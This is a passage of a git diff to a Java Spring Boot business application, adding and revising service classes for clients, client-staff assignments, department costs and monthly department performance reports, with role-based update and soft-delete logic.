staff.setSid(loginUser.getUserId()); + staff.setSname(loginUser.getNickname()); + staff.setRemark(bo.getRemark()); + staff.setAddTime(new Date()); + return staffMapper.insert(staff) >0; + } + } + return false; + } + + /** + * 修改客户 + * + * @param bo 客户 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpClientBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if(LoginHelper.isSuperAdmin()){ + //管理员需要传TpClient的ID + TpClientVo clientVo = baseMapper.selectVoById(bo.getId()); + if(StringUtils.isNotEmpty(bo.getPhone()) && !Objects.equals(bo.getPhone(), clientVo.getPhone())){ + throw new ServiceException("客户手机号码不允许修改"); + } + if(StringUtils.isNotEmpty(bo.getCode()) && !Objects.equals(bo.getCode(), clientVo.getCode())){ + throw new ServiceException("客户编号不允许修改"); + } + }else { + //普通客户ids需要传TpClientStaff的ID + TpClientStaff staff = staffMapper.selectById(bo.getId()); + TpClientVo clientVo = baseMapper.selectVoById(staff.getKid()); + if(StringUtils.isNotEmpty(bo.getPhone()) && !Objects.equals(bo.getPhone(), clientVo.getPhone())){ + throw new ServiceException("客户手机号码不允许修改"); + } + if(StringUtils.isNotEmpty(bo.getCode()) && !Objects.equals(bo.getCode(), clientVo.getCode())){ + throw new ServiceException("客户编号不允许修改"); + } + staff.setName(bo.getName()); + staff.setRemark(bo.getRemark()); + staffMapper.updateById(staff); + } + TpClient update = MapstructUtils.convert(bo, TpClient.class); + return baseMapper.updateById(update) > 0; + } + + + /** + * 校验并批量删除客户信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if(LoginHelper.isSuperAdmin()){ + //管理员ids需要传TpClient的ID + List list = baseMapper.selectByIds(ids); + for(TpClient client : list){ + client.setIsDel(2); + if(client.getYue().compareTo(BigDecimal.ZERO) > 0) { + throw new ServiceException("客户:" + client.getName() + "余额大于0,不可删除"); + } + } + return baseMapper.updateBatchById(list); + }else{ + //普通客户ids需要传TpClientStaff的ID + if(loginUser.getIdentity() == 2){ + throw new ServiceException("您无权限删除客户信息"); + } else if (loginUser.getIdentity() == 3) { + List list = staffMapper.selectByIds(ids); + for(TpClientStaff clientStaff : list){ + clientStaff.setIsDel(2); + if(clientStaff.getYue().compareTo(BigDecimal.ZERO) > 0) { + throw new ServiceException("客户:" + clientStaff.getName() + "余额大于0,不可删除"); + } + } + return staffMapper.updateBatchById(list); + } + } + return false; + } + + /** + * 查询客户下单金额统计列表 + * + * @param bo + * @param pageQuery + * @return + */ + @Override + public TableDataInfo queryPageListChart(TpClientBo bo, PageQuery pageQuery) { + Map params = bo.getParams(); + MPJLambdaWrapper wrapper = new MPJLambdaWrapper(); + if(LoginHelper.isSuperAdmin()){ + wrapper.selectAs(TpOrder::getKid, ClientSumVo::getId) + .selectSum(TpOrder::getKhpay,ClientSumVo::getAmount); + wrapper.between(params.get("beginTime") != null && params.get("endTime") != null, + TpOrder::getAddTime ,params.get("beginTime"), params.get("endTime")) + .eq(TpOrder::getIsDel,1) + .in(bo.getIds() != null,TpOrder::getKid,bo.getIds()) + .groupBy(TpOrder::getKid); + + }else{ + wrapper.selectAs(TpOrder::getSkid, ClientSumVo::getId) + .selectSum(TpOrder::getKhpay,ClientSumVo::getAmount); + wrapper.between(params.get("beginTime") != null && params.get("endTime") != null, + TpOrder::getAddTime ,params.get("beginTime"), params.get("endTime")) + .eq(TpOrder::getIsDel,1) + .in(bo.getIds() != null,TpOrder::getSkid,bo.getIds()) + .groupBy(TpOrder::getSkid); + } + IPage listPage = orderMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), ClientSumVo.class, wrapper); + return TableDataInfo.build(listPage); + } + + /** + * 获取全部客户 + * + * @return + */ + @Override + public List queryAllList() { + return baseMapper.selectList(new LambdaQueryWrapper().eq(TpClient::getIsDel, 1)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpClientStaffServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpClientStaffServiceImpl.java index 575cd48..0605575 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpClientStaffServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpClientStaffServiceImpl.java @@ -1,176 +1,176 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.github.yulichang.base.MPJBaseServiceImpl; -import com.github.yulichang.wrapper.MPJLambdaWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.SysUser; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.work.domain.TpClient; -import org.dromara.work.domain.TpClientStaff; -import org.dromara.work.domain.bo.TpClientStaffBo; -import org.dromara.work.domain.vo.TpClientStaffVo; -import org.dromara.work.mapper.TpClientMapper; -import org.dromara.work.mapper.TpClientStaffMapper; -import org.dromara.work.service.ITpClientStaffService; -import org.springframework.stereotype.Service; - -import java.math.BigDecimal; -import java.util.Collection; -import java.util.List; -import java.util.Map; -import java.util.stream.Collectors; - -/** - * 客户+客服Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpClientStaffServiceImpl extends MPJBaseServiceImpl implements ITpClientStaffService { - - private final TpClientStaffMapper baseMapper; - - private final TpClientMapper tpClientMapper; - - private final SysUserMapper sysUserMapper; - - /** - * 查询客户+客服 - * - * @param id 主键 - * @return 客户+客服 - */ - @Override - public TpClientStaffVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询客户+客服列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 客户+客服分页列表 - */ - @Override - public TableDataInfo queryPageList(TpClientStaffBo bo, PageQuery pageQuery) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if(!LoginHelper.isSuperAdmin()){ - bo.setSid(loginUser.getUserId()); - } - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpClientStaff.class) - .selectAs(TpClient::getPhone,TpClientStaffVo::getPhone) - .selectAs(TpClient::getCode,TpClientStaffVo::getCode) - .leftJoin(TpClient.class,TpClient::getId,TpClientStaff::getKid) - .eq(TpClientStaff::getIsDel,1) - .orderByDesc(TpClientStaff::getId); - - //分页查询 (需要启用 mybatis plus 分页插件) - IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpClientStaffVo.class, wrapper); - return TableDataInfo.build(listPage); - } - - /** - * 查询符合条件的客户+客服列表 - * - * @param bo 查询条件 - * @return 客户+客服列表 - */ - @Override - public List queryList(TpClientStaffBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if(!LoginHelper.isSuperAdmin()){ - bo.setSid(loginUser.getUserId()); - } - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpClientStaff.class) - .selectAs(TpClient::getPhone,TpClientStaffVo::getPhone) - .selectAs(TpClient::getCode,TpClientStaffVo::getCode) - .leftJoin(TpClient.class,TpClient::getId,TpClientStaff::getKid) - .eq(TpClientStaff::getIsDel,1) - .orderByDesc(TpClientStaff::getId); - return baseMapper.selectVoList(wrapper); - } - - private MPJLambdaWrapper buildQueryMPJWrapper(TpClientStaffBo bo) { - Map params = bo.getParams(); - MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); - lqw.eq(bo.getSid() != null, TpClientStaff::getSid, bo.getSid()); - lqw.eq(bo.getKid() != null, TpClientStaff::getKid, bo.getKid()); - lqw.like(StringUtils.isNotBlank(bo.getName()), TpClientStaff::getName, bo.getName()); - lqw.like(StringUtils.isNotBlank(bo.getCode()), TpClient::getCode, bo.getCode()); - lqw.like(StringUtils.isNotBlank(bo.getPhone()), TpClient::getPhone, bo.getPhone()); - lqw.eq(bo.getYue() != null, TpClientStaff::getYue, bo.getYue()); - lqw.eq(bo.getAddTime() != null, TpClientStaff::getAddTime, bo.getAddTime()); - return lqw; - } - - /** - * 新增客户+客服 - * - * @param bo 客户+客服 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpClientStaffBo bo) { - TpClientStaff add = MapstructUtils.convert(bo, TpClientStaff.class); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改客户+客服 - * - * @param bo 客户+客服 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpClientStaffBo bo) { - TpClientStaff update = MapstructUtils.convert(bo, TpClientStaff.class); - baseMapper.updateById(update); - TpClient tpClient = tpClientMapper.selectById(update.getKid()); - BigDecimal zYue = baseMapper.selectList(new LambdaQueryWrapper().eq(TpClientStaff::getKid, tpClient.getId()).eq(TpClientStaff::getIsDel, 1)).stream().map(TpClientStaff::getYue).reduce(BigDecimal.ZERO, BigDecimal::add); - tpClient.setYue(zYue); - return tpClientMapper.updateById(tpClient) > 0; - } - - - /** - * 校验并批量删除客户+客服信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - TpClientStaffVo tpClientStaffVo = baseMapper.selectVoById(ids.iterator().next()); - baseMapper.deleteByIds(ids); - TpClient tpClient = tpClientMapper.selectById(tpClientStaffVo.getKid()); - List sids = baseMapper.selectList(new MPJLambdaWrapper().eq(TpClientStaff::getKid, tpClient.getId()).eq(TpClientStaff::getIsDel, 1)).stream().map(TpClientStaff::getSid).collect(Collectors.toList()); - if(sids != null && sids.size() > 0){ - List nameList = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getUserId, sids)).stream().map(SysUser::getNickName).collect(Collectors.toList()); - tpClient.setSname(StringUtils.join(nameList, ",")); - }else { - tpClient.setSname(null); - } - return tpClientMapper.updateById(tpClient) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.github.yulichang.base.MPJBaseServiceImpl; +import com.github.yulichang.wrapper.MPJLambdaWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.SysUser; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.work.domain.TpClient; +import org.dromara.work.domain.TpClientStaff; +import org.dromara.work.domain.bo.TpClientStaffBo; +import org.dromara.work.domain.vo.TpClientStaffVo; +import org.dromara.work.mapper.TpClientMapper; +import org.dromara.work.mapper.TpClientStaffMapper; +import org.dromara.work.service.ITpClientStaffService; +import org.springframework.stereotype.Service; + +import java.math.BigDecimal; +import java.util.Collection; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +/** + * 客户+客服Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpClientStaffServiceImpl extends MPJBaseServiceImpl implements ITpClientStaffService { + + private final TpClientStaffMapper baseMapper; + + private final TpClientMapper tpClientMapper; + + private final SysUserMapper sysUserMapper; + + /** + * 查询客户+客服 + * + * @param id 主键 + * @return 客户+客服 + */ + @Override + public TpClientStaffVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询客户+客服列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 客户+客服分页列表 + */ + @Override + public TableDataInfo queryPageList(TpClientStaffBo bo, PageQuery pageQuery) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if(!LoginHelper.isSuperAdmin()){ + bo.setSid(loginUser.getUserId()); + } + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpClientStaff.class) + .selectAs(TpClient::getPhone,TpClientStaffVo::getPhone) + .selectAs(TpClient::getCode,TpClientStaffVo::getCode) + .leftJoin(TpClient.class,TpClient::getId,TpClientStaff::getKid) + .eq(TpClientStaff::getIsDel,1) + .orderByDesc(TpClientStaff::getId); + + //分页查询 (需要启用 mybatis plus 分页插件) + IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpClientStaffVo.class, wrapper); + return TableDataInfo.build(listPage); + } + + /** + * 查询符合条件的客户+客服列表 + * + * @param bo 查询条件 + * @return 客户+客服列表 + */ + @Override + public List queryList(TpClientStaffBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if(!LoginHelper.isSuperAdmin()){ + bo.setSid(loginUser.getUserId()); + } + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpClientStaff.class) + .selectAs(TpClient::getPhone,TpClientStaffVo::getPhone) + .selectAs(TpClient::getCode,TpClientStaffVo::getCode) + .leftJoin(TpClient.class,TpClient::getId,TpClientStaff::getKid) + .eq(TpClientStaff::getIsDel,1) + .orderByDesc(TpClientStaff::getId); + return baseMapper.selectVoList(wrapper); + } + + private MPJLambdaWrapper buildQueryMPJWrapper(TpClientStaffBo bo) { + Map params = bo.getParams(); + MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); + lqw.eq(bo.getSid() != null, TpClientStaff::getSid, bo.getSid()); + lqw.eq(bo.getKid() != null, TpClientStaff::getKid, bo.getKid()); + lqw.like(StringUtils.isNotBlank(bo.getName()), TpClientStaff::getName, bo.getName()); + lqw.like(StringUtils.isNotBlank(bo.getCode()), TpClient::getCode, bo.getCode()); + lqw.like(StringUtils.isNotBlank(bo.getPhone()), TpClient::getPhone, bo.getPhone()); + lqw.eq(bo.getYue() != null, TpClientStaff::getYue, bo.getYue()); + lqw.eq(bo.getAddTime() != null, TpClientStaff::getAddTime, bo.getAddTime()); + return lqw; + } + + /** + * 新增客户+客服 + * + * @param bo 客户+客服 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpClientStaffBo bo) { + TpClientStaff add = MapstructUtils.convert(bo, TpClientStaff.class); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改客户+客服 + * + * @param bo 客户+客服 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpClientStaffBo bo) { + TpClientStaff update = MapstructUtils.convert(bo, TpClientStaff.class); + baseMapper.updateById(update); + TpClient tpClient = tpClientMapper.selectById(update.getKid()); + BigDecimal zYue = baseMapper.selectList(new LambdaQueryWrapper().eq(TpClientStaff::getKid, tpClient.getId()).eq(TpClientStaff::getIsDel, 1)).stream().map(TpClientStaff::getYue).reduce(BigDecimal.ZERO, BigDecimal::add); + tpClient.setYue(zYue); + return tpClientMapper.updateById(tpClient) > 0; + } + + + /** + * 校验并批量删除客户+客服信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + TpClientStaffVo tpClientStaffVo = baseMapper.selectVoById(ids.iterator().next()); + baseMapper.deleteByIds(ids); + TpClient tpClient = tpClientMapper.selectById(tpClientStaffVo.getKid()); + List sids = baseMapper.selectList(new MPJLambdaWrapper().eq(TpClientStaff::getKid, tpClient.getId()).eq(TpClientStaff::getIsDel, 1)).stream().map(TpClientStaff::getSid).collect(Collectors.toList()); + if(sids != null && sids.size() > 0){ + List nameList = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getUserId, sids)).stream().map(SysUser::getNickName).collect(Collectors.toList()); + tpClient.setSname(StringUtils.join(nameList, ",")); + }else { + tpClient.setSname(null); + } + return tpClientMapper.updateById(tpClient) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpDeptCostServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpDeptCostServiceImpl.java new file mode 100644 index 0000000..283e60b --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpDeptCostServiceImpl.java @@ -0,0 +1,133 @@ +package org.dromara.work.service.impl; + +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import lombok.RequiredArgsConstructor; +import org.springframework.stereotype.Service; +import org.dromara.work.domain.bo.TpDeptCostBo; +import org.dromara.work.domain.vo.TpDeptCostVo; +import org.dromara.work.domain.TpDeptCost; +import org.dromara.work.mapper.TpDeptCostMapper; +import org.dromara.work.service.ITpDeptCostService; + +import java.util.List; +import java.util.Map; +import java.util.Collection; + +/** + * 部门成本Service业务层处理 + * + * @author Maosw + * @date 2025-11-20 + */ +@RequiredArgsConstructor +@Service +public class TpDeptCostServiceImpl implements ITpDeptCostService { + + private final TpDeptCostMapper baseMapper; + + /** + * 查询部门成本 + * + * @param id 主键 + * @return 部门成本 + */ + @Override + public TpDeptCostVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询部门成本列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 部门成本分页列表 + */ + @Override + public TableDataInfo queryPageList(TpDeptCostBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的部门成本列表 + * + * @param bo 查询条件 + * @return 部门成本列表 + */ + @Override + public List queryList(TpDeptCostBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpDeptCostBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.orderByAsc(TpDeptCost::getId); + lqw.eq(bo.getDeptReportId() != null, TpDeptCost::getDeptReportId, bo.getDeptReportId()); + lqw.eq(StringUtils.isNotBlank(bo.getMonth()), TpDeptCost::getMonth, bo.getMonth()); + lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, + TpDeptCost::getCreateTime ,params.get("beginCreateTime"), params.get("endCreateTime")); + return lqw; + } + + /** + * 新增部门成本 + * + * @param bo 部门成本 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpDeptCostBo bo) { + TpDeptCost add = MapstructUtils.convert(bo, TpDeptCost.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改部门成本 + * + * @param bo 部门成本 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpDeptCostBo bo) { + TpDeptCost update = MapstructUtils.convert(bo, TpDeptCost.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpDeptCost entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除部门成本信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpDeptReportServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpDeptReportServiceImpl.java new file mode 100644 index 0000000..d3c50f9 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpDeptReportServiceImpl.java @@ -0,0 +1,223 @@ +package org.dromara.work.service.impl; + +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import lombok.RequiredArgsConstructor; +import org.dromara.work.domain.TpDeptCost; +import org.dromara.work.domain.TpOrder; +import org.dromara.work.mapper.TpDeptCostMapper; +import org.dromara.work.mapper.TpOrderMapper; +import org.springframework.stereotype.Service; +import org.dromara.work.domain.bo.TpDeptReportBo; +import org.dromara.work.domain.vo.TpDeptReportVo; +import org.dromara.work.domain.TpDeptReport; +import org.dromara.work.mapper.TpDeptReportMapper; +import org.dromara.work.service.ITpDeptReportService; + +import java.math.BigDecimal; +import java.time.YearMonth; +import java.util.List; +import java.util.Map; +import java.util.Collection; + +/** + * 部门业绩报Service业务层处理 + * + * @author Maosw + * @date 2025-11-19 + */ +@RequiredArgsConstructor +@Service +public class TpDeptReportServiceImpl implements ITpDeptReportService { + + private final TpDeptReportMapper baseMapper; + + private final TpOrderMapper orderMapper; + + private final TpDeptCostMapper deptCostMapper; + + /** + * 查询部门业绩报 + * + * @param id 主键 + * @return 部门业绩报 + */ + @Override + public TpDeptReportVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询部门业绩报列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 部门业绩报分页列表 + */ + @Override + public TableDataInfo queryPageList(TpDeptReportBo bo, PageQuery pageQuery) { + + String startTime = null; + String endTime = null; + if (StringUtils.isNotBlank(bo.getMonth())) { + try { + // 解析 yyyy-MM 格式的月份字符串 + YearMonth yearMonth = YearMonth.parse(bo.getMonth()); + int year = yearMonth.getYear(); + int month = yearMonth.getMonthValue(); + int lastDay = yearMonth.lengthOfMonth(); + + String monthStr = String.format("%d-%02d", year, month); + startTime = monthStr + "-01 00:00:00"; + endTime = monthStr + "-" + String.format("%02d", lastDay) + " 23:59:59"; + } catch (Exception e) { + throw new ServiceException("月份格式错误,请使用 yyyy-MM 格式,例如: 2025-11"); + } + } + + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + String finalStartTime = startTime; + String finalEndTime = endTime; + result.getRecords().forEach(item -> { + if (item.getDeptType() == 1) { + LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery() + .eq(TpOrder::getIsDel, 1) + .between(TpOrder::getAddTime, finalStartTime, finalEndTime); + + if (item.getHasChild() == 1){ + queryWrapper.like(TpOrder::getAncestors, item.getDeptId()); + }else { + queryWrapper.eq(TpOrder::getDeptId, item.getDeptId()); + } + + List list = orderMapper.selectList(queryWrapper); + + item.setOrderCount(list.size()); + // 投诉量统计list里面byTwo 字段等于2或3的订单 + item.setComplaintCount(list.stream().filter(order -> "2".equals(order.getByTwo()) || "3".equals(order.getByTwo())).toList().size()); + item.setPerformance(list.stream().map(TpOrder::getPrice).reduce(BigDecimal::add).orElse(BigDecimal.ZERO)); + item.setActualArrival(list.stream().map(TpOrder::getPayPrice).reduce(BigDecimal::add).orElse(BigDecimal.ZERO)); + item.setMemberRecharge(list.stream().map(TpOrder::getCoupon).reduce(BigDecimal::add).orElse(BigDecimal.ZERO)); + item.setDeduction(list.stream().map(TpOrder::getGjPrice).reduce(BigDecimal::add).orElse(BigDecimal.ZERO)); + }else if (item.getDeptType() == 2) { + LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery() + .eq(TpOrder::getIsDel, 1) + .between(TpOrder::getAddTime, finalStartTime, finalEndTime); + + if (item.getHasChild() == 1){ + queryWrapper.like(TpOrder::getAncestorsJs, item.getDeptId()); + }else { + queryWrapper.eq(TpOrder::getDeptIdJs, item.getDeptId()); + } + + List list = orderMapper.selectList(queryWrapper); + + item.setOrderCount(list.size()); + item.setComplaintCount(list.stream().filter(order -> "2".equals(order.getByTwo()) || "3".equals(order.getByTwo())).toList().size()); + item.setPerformance(list.stream().map(TpOrder::getJsPrice).reduce(BigDecimal::add).orElse(BigDecimal.ZERO)); + item.setActualArrival(list.stream().map(TpOrder::getJsPayPrice).reduce(BigDecimal::add).orElse(BigDecimal.ZERO)); + item.setMemberRecharge(list.stream().map(TpOrder::getCoupon).reduce(BigDecimal::add).orElse(BigDecimal.ZERO)); + item.setDeduction(list.stream().map(TpOrder::getGjPrice).reduce(BigDecimal::add).orElse(BigDecimal.ZERO)); + } + + TpDeptCost tpDeptCost = deptCostMapper.selectOne(Wrappers.lambdaQuery() + .eq(TpDeptCost::getDeptReportId, item.getId()).eq(TpDeptCost::getMonth,bo.getMonth())); + if (tpDeptCost != null) { + item.setCostId(tpDeptCost.getId()); + item.setSocialCost(tpDeptCost.getSocialCost()); + item.setSalaryCost(tpDeptCost.getSalaryCost()); + item.setRentCost(tpDeptCost.getRentCost()); + item.setElectricityCost(tpDeptCost.getElectricityCost()); + item.setSalesCost(tpDeptCost.getSalesCost()); + } + }); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的部门业绩报列表 + * + * @param bo 查询条件 + * @return 部门业绩报列表 + */ + @Override + public List queryList(TpDeptReportBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpDeptReportBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.orderByAsc(TpDeptReport::getSort); + lqw.eq(bo.getDeptId() != null, TpDeptReport::getDeptId, bo.getDeptId()); + lqw.eq(bo.getDeptType() != null, TpDeptReport::getDeptType, bo.getDeptType()); + lqw.like(StringUtils.isNotBlank(bo.getDeptName()), TpDeptReport::getDeptName, bo.getDeptName()); + lqw.eq(StringUtils.isNotBlank(bo.getTeamNo()), TpDeptReport::getTeamNo, bo.getTeamNo()); + lqw.eq(bo.getUserId() != null, TpDeptReport::getUserId, bo.getUserId()); + lqw.like(StringUtils.isNotBlank(bo.getUserName()), TpDeptReport::getUserName, bo.getUserName()); + lqw.eq(bo.getPerformance() != null, TpDeptReport::getPerformance, bo.getPerformance()); + lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, + TpDeptReport::getCreateTime ,params.get("beginCreateTime"), params.get("endCreateTime")); + return lqw; + } + + /** + * 新增部门业绩报 + * + * @param bo 部门业绩报 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpDeptReportBo bo) { + TpDeptReport add = MapstructUtils.convert(bo, TpDeptReport.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改部门业绩报 + * + * @param bo 部门业绩报 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpDeptReportBo bo) { + TpDeptReport update = MapstructUtils.convert(bo, TpDeptReport.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpDeptReport entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除部门业绩报信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpDesignQuotesServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpDesignQuotesServiceImpl.java index 2e25b27..828cc05 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpDesignQuotesServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpDesignQuotesServiceImpl.java @@ -1,137 +1,137 @@ -package org.dromara.work.service.impl; - -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.core.page.PageQuery; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import lombok.RequiredArgsConstructor; -import org.springframework.stereotype.Service; -import org.dromara.work.domain.bo.TpDesignQuotesBo; -import 